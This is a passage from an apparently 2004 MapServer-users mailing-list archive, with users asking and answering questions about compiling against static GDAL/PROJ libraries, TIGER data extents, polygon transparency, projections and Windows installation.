and gdal libs Message-ID: <1085048208.3045.21.camel@katrin> Hi List i have a problem compiling mapserver against a static linked proj4 (4.4.7) and gdal (1.2.0) library in a none standard location on my Debian 3.0r2 box. I used the following configure statements for: proj: ./configure --prefix=/home/nicol/build --enable-shared=no gdal: ./configure --prefix=/home/nicol/build --with-static-proj4=../../build --without-ld-shared --without-python --enable-shared=no Both libs compiled fine and i do a make install after the make process After that i tried to compile mapserver (4.0.2 and 4.2b3) ./configure --with-gd=/usr --with-jpeg=/usr --with-zlib=/usr --with-freetype=/usr/lib --with-png=/usr --with-proj=../../build --without-tiff --with-libiconv=/usr/local --with-php=/usr/local/src/php-4.3.6 --with-gdal=../../build/bin/gdal-config During the make process i get the error message below: gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL -I/home/nicol/source/mapserver-4.0.2/../../build/include -I/home/nicol/source/mapserver-4.0.2/../../build/include -I/usr/include -I/home/nicol/build/include shp2img.o -L. -lmap -L/usr/lib -lgd -L/usr/lib -ljpeg -L/usr/lib -lfreetype -L/usr/lib -lpng -L/usr/lib -lz -L/usr/lib -ljpeg -L/usr/lib -lfreetype -L/usr/lib -lpng -L/usr/lib -lz -L/home/nicol/source/mapserver-4.0.2/../../build/lib -lproj -L/usr/lib -ljpeg -L/home/nicol/build/lib -lgdal -lm -o shp2img /home/nicol/source/mapserver-4.0.2/../../build/lib/libgdal.a(cplgetsymbol.o): In function `CPLGetSymbol': cplgetsymbol.o(.text+0x2b): undefined reference to `dlopen' cplgetsymbol.o(.text+0x3e): undefined reference to `dlsym' cplgetsymbol.o(.text+0x4a): undefined reference to `dlerror' collect2: ld returned 1 exit status make: *** [shp2img] Error 1 gcc/g++ --version is 2.95.4 Any clues how to fix this? Many thanks Nicol -- Nicol Hermann From eric at gomoos.org Thu May 20 04:05:59 2004 From: eric at gomoos.org (Eric Bridger) Date: Thu, 20 May 2004 07:05:59 -0400 Subject: [Mapserver-users] Deriving TIGER extents In-Reply-To: <136736CA-AA12-11D8-930D-003065AC1682@rectangular.com> Message-ID: <4.3.2.7.2.20040520070336.00aba6c0@mail.gomoos.org> At 08:59 PM 05/19/2004 -0700, Marvin Humphrey wrote: > > >MAP >IMAGETYPE PNG24 >SIZE 400 300 >SHAPEPATH "data" >FONTSET "fonts/fonts.list" >SYMBOLSET "symbols/symbols35.sym" >UNITS DD > ># Start of LAYER DEFINITIONS --------------------------------------------- > >EXTENT -91 41 -81 48 >#Longitude: 82? 26' W to 90? 31' W >#Latitude: 41? 41' N to 47? 30' N > >LAYER > NAME "tigertest" > TYPE line > CONNECTIONTYPE OGR > CONNECTION "../TGR26049" > DATA "CompleteChain" > STATUS ON >END > >END # end of map file Excuse me if this is obvious but you don't have any CLASS, STYLE or COLOR defined for you line layer. From nicolas at maich.gr Thu May 20 04:08:12 2004 From: nicolas at maich.gr (Nicolas Boretos) Date: Thu, 20 May 2004 14:08:12 +0300 Subject: [Mapserver-users] mapserver compiling error with static linked proj4 and gdal libs In-Reply-To: <1085048208.3045.21.camel@katrin> References: <1085048208.3045.21.camel@katrin> Message-ID: <40AC919C.4090104@maich.gr> Nicol Hermann wrote: >Hi List > >i have a problem compiling mapserver against a static linked proj4 >(4.4.7) and gdal (1.2.0) library in a none standard location on my >Debian 3.0r2 box. > >I used the following configure statements for: >proj: ./configure --prefix=/home/nicol/build --enable-shared=no >gdal: ./configure --prefix=/home/nicol/build >--with-static-proj4=../../build --without-ld-shared --without-python >--enable-shared=no > >Both libs compiled fine and i do a make install after the make process > >After that i tried to compile mapserver (4.0.2 and 4.2b3) > >./configure --with-gd=/usr --with-jpeg=/usr --with-zlib=/usr >--with-freetype=/usr/lib --with-png=/usr --with-proj=../../build >--without-tiff --with-libiconv=/usr/local >--with-php=/usr/local/src/php-4.3.6 >--with-gdal=../../build/bin/gdal-config > >During the make process i get the error message below: > >gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ >-DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_JPEG -DUSE_GD_PNG >-DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL >-I/home/nicol/source/mapserver-4.0.2/../../build/include >-I/home/nicol/source/mapserver-4.0.2/../../build/include >-I/usr/include -I/home/nicol/build/include shp2img.o -L. >-lmap -L/usr/lib -lgd -L/usr/lib -ljpeg -L/usr/lib -lfreetype -L/usr/lib >-lpng -L/usr/lib -lz -L/usr/lib -ljpeg -L/usr/lib -lfreetype >-L/usr/lib -lpng -L/usr/lib -lz >-L/home/nicol/source/mapserver-4.0.2/../../build/lib -lproj -L/usr/lib >-ljpeg -L/home/nicol/build/lib -lgdal -lm -o shp2img >/home/nicol/source/mapserver-4.0.2/../../build/lib/libgdal.a(cplgetsymbol.o): In function `CPLGetSymbol': >cplgetsymbol.o(.text+0x2b): undefined reference to `dlopen' >cplgetsymbol.o(.text+0x3e): undefined reference to `dlsym' >cplgetsymbol.o(.text+0x4a): undefined reference to `dlerror' >collect2: ld returned 1 exit status >make: *** [shp2img] Error 1 > >gcc/g++ --version is 2.95.4 > >Any clues how to fix this? > >Many thanks >Nicol > > Hi, Maybe you need to add -ldl? regards, nicolas From dmi at webmail.co.za Thu May 20 04:17:22 2004 From: dmi at webmail.co.za (Scott Ainslie) Date: Thu, 20 May 2004 13:17:22 +0200 Subject: [Mapserver-users] Hunting for global data References: Message-ID: <002601c43e5c$3a858a00$b97a27c4@SCOTTA> If some one could complie a free global data set (Countries, towns, roads, rivers, etc) that would be great, I need this. If this is what you are doing please post a page with a work in progress. Thanks Scott ----- Original Message ----- From: "Tyler Mitchell" To: "Jan Hartmann" Cc: Sent: Wednesday, May 19, 2004 8:32 PM Subject: Re: [Mapserver-users] Hunting for global data > Thank Jan, my first goal is to get a good set of global datasets up and > running, then have others grab them. > Your link had a typo, for the mailing list record, your link should have > been: > > http://mapserver.sara.nl > > > Look at http://maspserver.sara.nl , under World Maps. It has eight > > detailed world maps (elevation, satellite, land use) at 30 seconds > > resolution (1 km at the equator, 21600*10800 cells). They are from NASA, > > > NOAA and others and are all in the public domain. I resampled and > > retiled them to GeoTIFF, as described in yesterday's posting > > > (http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0405/msg00397.html ). > > If you want to set up a demo site with explanations how to do this in > > MapServer, I'll be happy to assist. > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dmi at webmail.co.za Thu May 20 04:19:19 2004 From: dmi at webmail.co.za (Scott Ainslie) Date: Thu, 20 May 2004 13:19:19 +0200 Subject: [Mapserver-users] New to Mapserver Message-ID: <004801c43e5c$5516fde0$b97a27c4@SCOTTA> MapServer v4 (windows binaries) I have a fair bit of experience using the comercial web map servers (Geomedia WebMap, Mapinfo MapXtreme, ArcIMS ...) and came accross mapserver recently. I have used data from the US National Atlas and have managed to get a map up but the projections are completely wrong and the scale bar is way out. My GIS experience is in South Africa and I have an IT background so the various projections around the world are foriegn to me, I do understand a bit of projection theory. As a new user I have some questions which I will list here and will post to seperate threads for each post. 1) National Atlas Datasets, what projections do these use? 2) How can I connect to a point data sourece in an ODBC database? 3) Using the CBE toolkit and the dhtml template from the demo (workshop.zip), how do I get rid of the red cross in the middle of the map? 4) Can I make the fill color of polygons transparent, ie: able to see layers underneath? Thanks Scott From dmi at webmail.co.za Thu May 20 04:19:30 2004 From: dmi at webmail.co.za (Scott Ainslie) Date: Thu, 20 May 2004 13:19:30 +0200 Subject: [Mapserver-users] National Atlas Datasets Message-ID: <005701c43e5c$57fc1c70$b97a27c4@SCOTTA> What projections do these datasets use. I have tried latlong but the scale on my scasle bars are totally out. The Bounding_Coordinates: West_Bounding_Coordinate: 170 East_Bounding_Coordinate: -64 North_Bounding_Coordinate: 72 South_Bounding_Coordinate: 17 Perhaps my extents are wrong, do I perhaps need to multiply these by some factor of 10. Could someone please give me an example of the projection section of the map file that would work with this kind of data. Thanks Scott From samuzzal at linux.net Thu May 20 04:28:07 2004 From: samuzzal at linux.net (Sam Choudry) Date: Thu, 20 May 2004 04:28:07 -0700 (PDT) Subject: [Mapserver-users] Win Xp mapserver problem Message-ID: <20040520112807.BDF9F396F@sitemail.everyone.net> Hello, I am facing a problem for a few days. I tried to install mapserver 4.0.1 in Windows XP. I did the following: # Copy mapserv.exe to Scripts directory # Copy 'Proj' directory under C:/ # Copy the contents of the 'lib' directory to C:/windows/system32 and "C:/windows". But while I test by writing http://IP/Scripts/mapserv.exe It gives me Http 404 Page not found error messege. Can anybody give me any suggestions. Samuzzal _____________________________________________________________ Linux.Net -->Open Source to everyone Powered by Linare Corporation http://www.linare.com/ From dmi at webmail.co.za Thu May 20 04:19:39 2004 From: dmi at webmail.co.za (Scott Ainslie) Date: Thu, 20 May 2004 13:19:39 +0200 Subject: [Mapserver-users] DHTML Message-ID: <006a01c43e5c$6da88310$b97a27c4@SCOTTA> Using the CBE toolkit and the dhtml template from the demo (workshop.zip), how do I get rid of the red cross in the middle of the map? Thanks Scott From dmi at webmail.co.za Thu May 20 04:19:41 2004 From: dmi at webmail.co.za (Scott Ainslie) Date: Thu, 20 May 2004 13:19:41 +0200 Subject: [Mapserver-users] New to Mapserver Message-ID: <006f01c43e5c$716cb700$b97a27c4@SCOTTA> MapServer v4 (windows binaries) I have a fair bit of experience using the comercial web map servers (Geomedia WebMap, Mapinfo MapXtreme, ArcIMS ...) and came accross mapserver recently. I have used data from the US National Atlas and have managed to get a map up but the projections are completely wrong and the scale bar is way out. My GIS experience is in South Africa and I have an IT background so the various projections around the world are foriegn to me, I do understand a bit of projection theory. As a new user I have some questions which I will list here and will post to seperate threads for each post. 1) National Atlas Datasets, what projections do these use? 2) How can I connect to a point data sourece in an ODBC database? 3) Using the CBE toolkit and the dhtml template from the demo (workshop.zip), how do I get rid of the red cross in the middle of the map? 4) Can I make the fill color of polygons transparent, ie: able to see layers underneath? Thanks Scott From dmi at webmail.co.za Thu May 20 04:19:43 2004 From: dmi at webmail.co.za (Scott Ainslie) Date: Thu, 20 May 2004 13:19:43 +0200 Subject: [Mapserver-users] National Atlas Datasets Message-ID: <007b01c43e5c$759be1c0$b97a27c4@SCOTTA> What projections do these datasets use. I have tried latlong but the scale on my scasle bars are totally out. The Bounding_Coordinates: West_Bounding_Coordinate: 170 East_Bounding_Coordinate: -64 North_Bounding_Coordinate: 72 South_Bounding_Coordinate: 17 Perhaps my extents are wrong, do I perhaps need to multiply these by some factor of 10. Could someone please give me an example of the projection section of the map file that would work with this kind of data. Thanks Scott From dmi at webmail.co.za Thu May 20 04:19:47 2004 From: dmi at webmail.co.za (Scott Ainslie) Date: Thu, 20 May 2004 13:19:47 +0200 Subject: [Mapserver-users] Fill Polygons Message-ID: <007c01c43e5c$7cbf9460$b97a27c4@SCOTTA> Can I make the fill color of polygons transparent, ie: able to see layers underneath? Thanks Scott From dmi at webmail.co.za Thu May 20 04:20:27 2004 From: dmi at webmail.co.za (Scott Ainslie) Date: Thu, 20 May 2004 13:20:27 +0200 Subject: [Mapserver-users] How can I connect to a point data sourece in an ODBC database Message-ID: <007f01c43e5c$85a76530$b97a27c4@SCOTTA> How can I display point data on my maps from a database eg: MS SQL or access. All I have is a single table with a field for x and one for y and some for attribute data. Is this possible? How? If so what format must the x and y be, decimal degrees? Thanks Scott From bartvde at xs4all.nl Thu May 20 04:58:57 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Thu, 20 May 2004 13:58:57 +0200 Subject: [Mapserver-users] How can I connect to a point data sourece in an ODBC database In-Reply-To: <007f01c43e5c$85a76530$b97a27c4@SCOTTA> References: <007f01c43e5c$85a76530$b97a27c4@SCOTTA> Message-ID: Hi, you can do this using the OGR Virtual Spatial Data driver, see: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData Best regards, Bart On Thu, 20 May 2004 13:20:27 +0200, Scott Ainslie wrote: > How can I display point data on my maps from a database eg: MS SQL or > access. All I have is a single table with a field for x and one for y and > some for attribute data. Is this possible? How? > > If so what format must the x and y be, decimal degrees? > > Thanks > Scott > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From bartvde at xs4all.nl Thu May 20 05:01:48 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Thu, 20 May 2004 14:01:48 +0200 Subject: [Mapserver-users] Fill Polygons In-Reply-To: <007c01c43e5c$7cbf9460$b97a27c4@SCOTTA> References: <007c01c43e5c$7cbf9460$b97a27c4@SCOTTA> Message-ID: Hi, you can use TRANSPARENCY for this, see: http://mapserver.gis.umn.edu/doc40/mapfile-reference.html TRANSPARENCY [integer] Sets the transparency level of all classed pixels for a given layer. The value is a percentage (0-100) where 100 is opaque and 0 is fully transparent. Best regards, Bart On Thu, 20 May 2004 13:19:47 +0200, Scott Ainslie wrote: > Can I make the fill color of polygons transparent, ie: able to see layers > underneath? > > Thanks > Scott > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From warmerdam at pobox.com Wed May 19 21:38:57 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 20 May 2004 00:38:57 -0400 Subject: [Mapserver-users] Deriving TIGER extents In-Reply-To: <136736CA-AA12-11D8-930D-003065AC1682@rectangular.com> References: <136736CA-AA12-11D8-930D-003065AC1682@rectangular.com> Message-ID: <40AC3661.1000200@pobox.com> > Any suggestions? > > -- Marvin Humphrey > EXTENT -91 41 -81 48 > #Longitude: 82? 26' W to 90? 31' W > #Latitude: 41? 41' N to 47? 30' N > > LAYER > NAME "tigertest" > TYPE line > CONNECTIONTYPE OGR > CONNECTION "../TGR26049" > DATA "CompleteChain" > STATUS ON > END Marvin, First, don't you need a CLASS statement in your line layer to define how to draw the lines? Something like: LAYER NAME "tigertest" TYPE line CONNECTIONTYPE OGR CONNECTION "../TGR26049" DATA "CompleteChain" STATUS ON CLASS COLOR 255 0 0 END END Perhaps there is some reasonable default I don't know about. Second, I don't have any problem getting extents from ogrinfo when I specify a spatial layer (such as CompleteChain). For example: warmerda at gdal2200[108]% ogrinfo -ro -summary . CompleteChain INFO: Open of `.' using driver `TIGER' successful. Layer name: CompleteChain Geometry: Line String Feature Count: 34768 Extent: (-121.560168, 34.543146) - (-80.859591, 45.118070) Layer SRS WKT: GEOGCS["NAD83", DATUM["North_American_Datum_1983", SPHEROID["GRS 1980",6378137,298.257222101]], PRIMEM["Greenwich",0], UNIT["degree",0.0174532925199433]] MODULE: String (8.0) TLID: Integer (10.0) SIDE1: Integer (1.0) In the above case there were a few random counties from around the country in the directory so the extents are large, but if you only provide one county is should be the appropriate country extents. Good luck, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From spencer at dmsolutions.ca Thu May 20 05:25:32 2004 From: spencer at dmsolutions.ca (Paul Spencer) Date: Thu, 20 May 2004 08:25:32 -0400 Subject: [Mapserver-users] Fill Polygons In-Reply-To: References: <007c01c43e5c$7cbf9460$b97a27c4@SCOTTA> Message-ID: <40ACA3BC.9020909@magma.ca> Note that this makes the entire layer transparent, including polygon outlines. If you want solid outlines and tranparent fills, you will need two separate layers. Paul Bart van den Eijnden wrote: > Hi, > > you can use TRANSPARENCY for this, see: > > http://mapserver.gis.umn.edu/doc40/mapfile-reference.html > > TRANSPARENCY [integer] > Sets the transparency level of all classed pixels for a given layer. The > value is a percentage (0-100) where 100 is opaque and 0 is fully > transparent. > > Best regards, > Bart > > On Thu, 20 May 2004 13:19:47 +0200, Scott Ainslie > wrote: > >> Can I make the fill color of polygons transparent, ie: able to see layers >> underneath? >> >> Thanks >> Scott >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> > > > -- ----------------------------------------------------------------- |Paul Spencer pspencer at dmsolutions.ca | |-----------------------------------------------------------------| |Applications & Software Development | |DM Solutions Group Inc http://www.dmsolutions.ca/| ----------------------------------------------------------------- From warmerdam at pobox.com Wed May 19 21:47:18 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Thu, 20 May 2004 00:47:18 -0400 Subject: [Mapserver-users] Shp2Img gmake Error - Adding info - New Error In-Reply-To: <40ABE24B.9020907@cttmar.univali.br> References: <1085001367.40abce97241ac@webmail.cttmar.univali.br> <40ABE24B.9020907@cttmar.univali.br> Message-ID: <40AC3856.90404@pobox.com> qoelheX wrote: > Well, did not compile, and I get a new error: > > bash-2.05$ g++ -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_TIFF -DUSE_GD_PNG > -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_PDF -DUSE_THREAD > -I/opt/univali/include > -I/usr/desen/cunivali/Tar/PDFlib-Lite-5.0.3-Unix-src/libs/pdflib > -I/opt/univali/include -I/opt/univali/include shp2img.o -L. > -lmap -L/opt/univali/lib -lgd -L/opt/univali/lib -Wl,+b > -Wl,/opt/univali/lib -lfreetype -lpng -L/opt/univali/lib -lz > -L/usr/desen/cunivali/Tar/PDFlib-Lite-5.0.3-Unix-src/libs/pdflib/lib > -lpdf -L/opt/univali/lib -ltiff -L/opt/univali/lib -Wl,+b > -Wl,/opt/univali/lib -lfreetype -lpng -L/opt/univali/lib -lz > -L/opt/univali/lib -lproj -L/usr -lm -o shp2img > /usr/ccs/bin/ld: Unsatisfied symbols: > msReleaseLock (first referenced in ./libmap.a(mapfile.o)) (code) > msGetThreadId (first referenced in ./libmap.a(maperror.o)) (code) > msAcquireLock (first referenced in ./libmap.a(mapfile.o)) (code) > collect2: ld returned 1 exit status > > And I try to add a -L in front of "/usr", but the same error occur. > > So, I'll go to search this new error, if someone knows about, please, > tell me :) qoelheX, This indicates there is no implementation of the code in mapthread.c is found. Assuming that mapthread.o *is* being linked in, my guess would be that the "unix" macro is not defined. If this happens no implementation will be compiled. Try adding #define unix within mapthread.c, just after the #include "mapthread.h". If this resolves your problem please file an appropriate error report in the MapServer bugzilla and we will try to resolve this in the upstream source code in some appropriate fashion. Please assign the bug directly to me (warmerdam at pobox.com). > I can, I must improve my english ! !! huahuahuahuahua :D You seem effective at communicating in English. That is more than can be said for some of us for whom it is a first (and only) language. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From woodbri at swoodbridge.com Thu May 20 05:34:23 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Thu, 20 May 2004 08:34:23 -0400 Subject: [Mapserver-users] Deriving TIGER extents In-Reply-To: <136736CA-AA12-11D8-930D-003065AC1682@rectangular.com> References: <136736CA-AA12-11D8-930D-003065AC1682@rectangular.com> Message-ID: <40ACA5CF.9060208@swoodbridge.com> Marvin, Tiger files from the census do not have any extents info in them. You would have to figure that out for each file. I think it would be easier to do this with shapefiles. You can convert the files using ogr2ogr. The shapefile format contains the file extents and that is set when the file is made by scanning all the object put into the file. Also Tiger2shape would do the same thing when you create shapefiles. -Steve Marvin Humphrey wrote: > Greetings, > > My ultimate goal is to generate a few thousand maps via offline batch > processing, using TIGER data. I don't need to set up a production > server, so performance isn't an issue at this time and I'm not worried > yet about converting to shapefile format for improved speed. > > Unfortunately, I can't even get one TIGER file to display. I managed to > grok GRASS, so I *ought* to be able to figure this out. But I'm stuck. > It seems that I have some sort of extents problem. Maybe I just have my > numbers wrong, but if so, I'm not sure how to correct them or to ensure > that I get them correct in the future. > > To start with, I downloaded a random county in Michigan and hacked up a > bare-minimum .map file (see below). Then I set up a LAYER according to > the instructions at: http://mapserver.gis.umn.edu/doc36/ogr-howto.html > > According to http://mapserver.gis.umn.edu/doc40/mapfile-reference.html > Mapserver will attempt to derive the extents of a map if none are > specified in the .map file. However, when I tried to omit the extents > from the .map file, the browser displayed this error message: > > msCalculateScale(): General error message. Invalid image extent. > msCalculateScale(): General error message. Invalid image extent. > mapserv(): Web application error. No way to generate map extent. > > Can it be that TIGER files have no extents data in them? Skimming the > technical spec of the TIGER format didn't reveal anything obvious > (http://www.census.gov/geo/www/tiger/tiger2002/tgr2002.pdf). So how do > people actually use them? Does the tiger2shape utility figure out what > the most extreme elements are in the file and define the extents that > way? Is there some sort of auxiliary data repository at www.census.gov > that I have yet to uncover? Trial and error? > > What would be great is if I could find a utility like ogrinfo that can > print the extents to STDOUT. Then I could grep the output to snag only > what I need and autogenerate a bunch of map files using Perl. It seems > like ogrinfo ought to do what I need. The ogrinfo manpage has an > example from an NTF file illustrating typical output > > % ogrinfo -ro -where 'GLOBAL_LINK_ID=185878' wrk/SHETLAND_ISLANDS.NTF > BL2000_LINK > INFO: Open of `wrk/SHETLAND_ISLANDS.NTF' > using driver `UK .NTF' successful. > Layer name: BL2000_LINK > Geometry: Line String > Feature Count: 1 > Extent: (419794.100000, 1069031.000000) - (419927.900000, 1069153.500000) > ... > > Additionally, the manpage indicates that with the -q flag enabled, the > output will include extents: > > -q: > Quiet verbose reporting of various information, including > coordinate system, layer schema, extents, and feature count. > > Unfortunately, when I run ogrinfo specifying any one layer of the TIGER > datasource and -q, I get a torrent of output, which seems to include > coordinates for each individual element in the datasource... but no > summary data. When I run with the -summary option, all I get is a > couple line breaks then the layer name: > > # ogrinfo -ro -q -summary TGR26049 CompleteChain > > Layer name: CompleteChain > > (FWIW, I am specifying the directory holding all the related files and > not an individual TIGER file, so I'm not being bitten by that bug.) > > And when I run ogrinfo with just the -ro flag -- (read-only, otherwise I > get an error saying ERROR 4: Tiger Driver doesn't support update. Had to > open data source read-only.) -- all I get is a list of layers. No extents. > > # ogrinfo -ro TGR26049 > INFO: Open of `TGR26049' > using driver `TIGER' successful. > 1: CompleteChain (Line String) > 2: AltName (None) > 3: FeatureIds (None) > 4: ZipCodes (None) > 5: Landmarks (Point) > 6: AreaLandmarks (None) > 7: Polygon (None) > 8: PolygonCorrections (None) > 9: EntityNames (Point) > 10: PolygonEconomic (None) > 11: IDHistory (None) > 12: PolyChainLink (None) > 13: PIP (Point) > 14: TLIDRange (None) > 15: ZeroCellID (None) > 16: OverUnder (None) > 17: ZipPlus4 (None) > > Stymied! Very well, I thought, before I write to the list I'll try to > get one county to display -- then I'll inquire about tools which I can > use to derive extents automatically. I'll hack away at the file until I > get something to display... Nope, nothing doing! > > I read in a few archived emails that the extent must be specified in the > same units as the datasource. In the case of TIGER, that's apparently > decimal degrees (according to > http://www.census.gov/geo/www/tiger/tigermap.html#TOWN ). Since I'm not > sure which county in Michigan I downloaded, I entered LatLong for the > entire state. Even if the county was small, the CompleteChain layer > ought to be visible. But the map was solid white. > > Eventually I know I will need to get into joining multiple counties in a > con mapfile, but for now, I'd just like to get a single file to display. > > Any suggestions? > > -- Marvin Humphrey > > > MAP > IMAGETYPE PNG24 > SIZE 400 300 > SHAPEPATH "data" > FONTSET "fonts/fonts.list" > SYMBOLSET "symbols/symbols35.sym" > UNITS DD > > # Start of LAYER DEFINITIONS --------------------------------------------- > > EXTENT -91 41 -81 48 > #Longitude: 82? 26' W to 90? 31' W > #Latitude: 41? 41' N to 47? 30' N > > LAYER > NAME "tigertest" > TYPE line > CONNECTIONTYPE OGR > CONNECTION "../TGR26049" > DATA "CompleteChain" > STATUS ON > END > > END # end of map file > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From jdenisgiguere at fastmail.fm Thu May 20 06:06:36 2004 From: jdenisgiguere at fastmail.fm (Jean-Denis Giguere) Date: Thu, 20 May 2004 09:06:36 -0400 Subject: [Mapserver-users] Style minscale/maxscale In-Reply-To: References: <007f01c43e5c$85a76530$b97a27c4@SCOTTA> Message-ID: <1085058396.16986.196835080@webmail.messagingengine.com> Hi, An interesting thing in SLD is the possibility to define MaxScaleDenominator and MinScaleDenominator. It allows to use different styles for different scale range. I have read that this rule was implemanted in MS 4.1, but I don't know how to reproduce this feature directly in mapfile. Does someone have an idea ? Thank you, Jean-Denis Gigu?re -- Jean-Denis Giguere jdenisgiguere at fastmail.fm -- http://www.fastmail.fm - Access all of your messages and folders wherever you are From hal at mobilegeographics.com Thu May 20 06:58:03 2004 From: hal at mobilegeographics.com (Hal Mueller) Date: Thu, 20 May 2004 06:58:03 -0700 Subject: [Mapserver-users] National Atlas Datasets In-Reply-To: <007b01c43e5c$759be1c0$b97a27c4@SCOTTA> References: <007b01c43e5c$759be1c0$b97a27c4@SCOTTA> Message-ID: http://www.mobilegeographics.com/mapserver/usa1.phtml The demos at http://www.mobilegeographics.com/mapserver/ all use US National Atlas data. The vector layers are all lat-long data, but the extent you need depends on what projection you have set for your map. H From Chip.Hankley at rmtinc.com Thu May 20 07:10:30 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Thu, 20 May 2004 09:10:30 -0500 Subject: [Mapserver-users] National Atlas Datasets Message-ID: > What projections do these datasets use. > > Could someone please give me an example of the projection section of the map > file that would work with this kind of data. Scott, When you download data from the National Atlas, there is a link to a description of the dataset: http://nationalatlas.gov/atlasftp.html#layerstable Under (Column 2) This provides the metadata for each file, which describes, among other things, the spatial reference information for the data set. I think that all of the data on the NA site is in Decimal Degrees, and uses NAD83. That said, since it seems like you are a new MapServer user, I would encourage you to start with as few variables as possible. You don't HAVE to supply projection information in the Mapfile. Start with a simple mapfile that only has one layer. In the Identification_Information section of the metadata is a section that describes the spatial domain's bounding coordinates. Use these to specify your mapextent. You'll most likely face enough issues initially figuring out how to configure everything. Once you get it working with a simple mapfile, you can add in projection information and start working with data sets that use different projections, OGR, etc. My $0.02. Chip Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. From markadams at cuestasys.com Thu May 20 07:12:53 2004 From: markadams at cuestasys.com (Mark Adams) Date: Thu, 20 May 2004 10:12:53 -0400 Subject: [Mapserver-users] Shape file to DXF conversion tool? Message-ID: <001001c43e74$8b9a7320$1300a8c0@cuestasys.com> This is a multi-part message in MIME format. ------=_NextPart_000_0011_01C43E53.0488D320 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, sorry if this is slightly off topic, but I have a need to convert ESRI shape files to DXF format as part of a web mapping site = I=92m working on. Does anyone know of a tool that can be used for this? Preference would be for open source library, but an inexpensive commercial package would be a possibility as well. Thanks in advance. =20 ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com =20 ------=_NextPart_000_0011_01C43E53.0488D320 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hi all, sorry if this is slightly off topic, but I = have a need to convert ESRI shape files to DXF format as part of a web mapping = site I’m working on. Does anyone know of a tool that can be used for this? = Preference would be for open source library, but an inexpensive commercial package = would be a possibility as well. Thanks in = advance.

 

------------------= ------------

Mark = Adams

Business & = Systems Analyst

Cuesta Systems = Inc.

5230 South = Service Road

Burlington, ON = L7L 5K2

Phone: = 905-333-4544 x14

Fax: = 905-333-0455

Email: markadams at cuestasys.com

 

------=_NextPart_000_0011_01C43E53.0488D320-- From gerry.creager at tamu.edu Thu May 20 07:23:54 2004 From: gerry.creager at tamu.edu (Gerry Creager N5JXS) Date: Thu, 20 May 2004 09:23:54 -0500 Subject: [Mapserver-users] This should be easy but.. Message-ID: <40ACBF7A.5000409@tamu.edu> I'm strapped for time. Per a recent suggestion, I'm creating 2 layer instances for some polygons. The fill polygon needs to be semitransparent while the outline later needs to be opaque. OK, I can handle this. How can I keep one of the 2 from automagically appearing in the legend? I know it's gotta be easy... Thanks, Gerry -- Gerry Creager -- gerry.creager at tamu.edu Network Engineering -- AATLT, Texas A&M University Cell: 979.229.5301 Office: 979.458.4020 FAX: 979.847.8578 Page: 979.228.0173 Office: 903A Eller Bldg, TAMU, College Station, TX 77843 From siki at agt.bme.hu Thu May 20 10:26:54 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Thu, 20 May 2004 16:26:54 -0100 (GMT+1) Subject: [Mapserver-users] Fill Polygons {Scanned} In-Reply-To: <007c01c43e5c$7cbf9460$b97a27c4@SCOTTA> Message-ID: Hi, On Thu, 20 May 2004, Scott Ainslie wrote: > Can I make the fill color of polygons transparent, ie: able to see layers > underneath? Yes, use COLOR -1 -1 -1 and define OUTLINECOLOR r g b for the border of polygon. I hope this helps you Zoltan From Chip.Hankley at rmtinc.com Thu May 20 07:44:36 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Thu, 20 May 2004 09:44:36 -0500 Subject: [Mapserver-users] This should be easy but.. Message-ID: Isn't that what the GROUP feature does in a mapfile? >>> Gerry Creager N5JXS 05/20/04 09:23AM >>> I'm strapped for time. Per a recent suggestion, I'm creating 2 layer instances for some polygons. The fill polygon needs to be semitransparent while the outline later needs to be opaque. OK, I can handle this. How can I keep 